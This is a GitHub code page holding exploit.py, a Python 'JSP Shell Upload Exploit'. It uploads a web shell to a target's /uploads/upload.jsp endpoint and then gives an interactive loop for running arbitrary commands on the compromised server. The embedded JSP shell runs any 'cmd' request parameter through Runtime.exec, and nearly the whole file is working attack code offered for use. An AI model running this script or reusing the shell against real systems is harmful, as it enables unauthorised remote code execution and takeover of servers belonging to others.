-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
165 lines (145 loc) · 6.59 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
import requests
import time
from urllib.parse import urlparse
def get_base_url():
"""Prompt user to enter the base URL and ensure it's properly formatted."""
while True:
base_url = input("\nEnter the base URL (e.g., localhost:8080): ").strip()
# Automatically prepend "http://" if the URL doesn't have http:// or https://
if not base_url.startswith("http://") and not base_url.startswith("https://"):
base_url = "http://" + base_url
parsed_url = urlparse(base_url)
# Ensure the URL has a valid scheme and netloc
if parsed_url.scheme in ['http', 'https'] and parsed_url.netloc:
return base_url
else:
print("[-] Invalid URL format. Please provide a valid URL with the correct scheme (e.g., http://localhost:8080).")
def check_server(base_url):
"""Check if the server is accessible and the /uploads directory exists, but continue even if it doesn't."""
print("[+] Checking server accessibility...")
try:
# Check if the base URL is reachable
response = requests.get(base_url, timeout=10)
response.raise_for_status()
# Check if the /uploads directory exists (this check is now optional)
uploads_url = f"{base_url}/uploads/"
response = requests.get(uploads_url, timeout=10)
if response.status_code == 200:
print("[+] /uploads directory is accessible.")
elif response.status_code == 404:
print("[-] /uploads directory not found (404), but continuing with upload attempt...")
else:
print(f"[-] Unexpected response from /uploads: {response.status_code}")
# Optionally check the server's title or headers for further validation
if 'Server' in response.headers:
print(f"[+] Server Information: {response.headers['Server']}")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error connecting to the server: {e}")
return False
def upload_shell(base_url):
"""Upload the JSP shell to the server."""
print("[+] Uploading JSP shell...")
upload_endpoint = f"{base_url}/uploads/upload.jsp"
shell_name = "shell.jsp"
shell_content = '''
<%@ page import="java.io.*" %>
<%
if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String line;
while ((line = dis.readLine()) != null) {
out.println(line);
}
}
%>
'''
files = {'file': (shell_name, shell_content, 'application/octet-stream')}
# Retry logic with exponential backoff
max_retries = 3
for attempt in range(max_retries):
try:
print(f"[+] Attempting to upload shell (Attempt {attempt + 1}/{max_retries})...")
response = requests.post(upload_endpoint, files=files, timeout=10)
response.raise_for_status() # Raise an error for bad responses
if response.status_code == 200:
print(f"[+] Shell uploaded successfully! Check the URL: {base_url}/uploads/{shell_name}")
return True
else:
print(f"[-] Failed to upload shell. Response Code: {response.status_code}")
print(f"Response Text: {response.text}")
except requests.exceptions.RequestException as e:
print(f"[-] Error during upload (Attempt {attempt + 1}/{max_retries}): {e}")
if attempt < max_retries - 1:
print("[+] Retrying in 2 seconds...")
time.sleep(2) # Wait for 2 seconds before retrying
else:
print("[-] Max retries reached. Upload failed.")
except Exception as e:
print(f"[-] Unexpected error: {e}")
break
return False
def is_html_output(output):
"""Check if the output seems to be HTML."""
return "<html>" in output.lower() or "<head>" in output.lower()
def parse_command_output(output):
"""Parse and display command output more intelligently."""
if is_html_output(output):
print("[+] Command output seems to be HTML. Attempting to extract useful info...")
if '<TITLE>' in output:
start = output.find('<TITLE>') + len('<TITLE>')
end = output.find('</TITLE>')
print("[+] Extracted title:", output[start:end])
else:
print("[+] HTML content detected, but no title found.")
return
# If it's not HTML, just print the output
print("[+] Command output:")
print(output)
def execute_command(base_url, command):
"""Execute command via the uploaded shell."""
shell_url = f"{base_url}/uploads/shell.jsp"
print(f"[+] Executing command: {command}")
retries = 3
for attempt in range(retries):
try:
print(f"[+] Attempt {attempt + 1}/{retries}...")
params = {'cmd': command}
response = requests.get(shell_url, params=params, timeout=10)
response.raise_for_status() # Raise an error for bad responses
if response.status_code == 200:
parse_command_output(response.text)
return
else:
print(f"[-] Failed to execute command. Response Code: {response.status_code}")
print(f"Response Text: {response.text}")
except requests.exceptions.RequestException as e:
print(f"[-] Error during command execution (Attempt {attempt + 1}/{retries}): {e}")
if attempt < retries - 1:
print("[+] Retrying in 2 seconds...")
time.sleep(2)
else:
print("[-] Max retries reached. Command execution failed.")
except Exception as e:
print(f"[-] Unexpected error: {e}")
break
def main():
"""Main program flow."""
print("\n[+] Welcome to the JSP Shell Upload Exploit!")
base_url = get_base_url()
if check_server(base_url) and upload_shell(base_url):
while True:
command = input("\nEnter the command to execute on the server (or 'exit' to quit): ").strip()
if command.lower() == 'exit':
print("[+] Exiting...\n")
break
elif not command:
print("[+] Please enter a valid command.")
continue
execute_command(base_url, command)
if __name__ == "__main__":
main()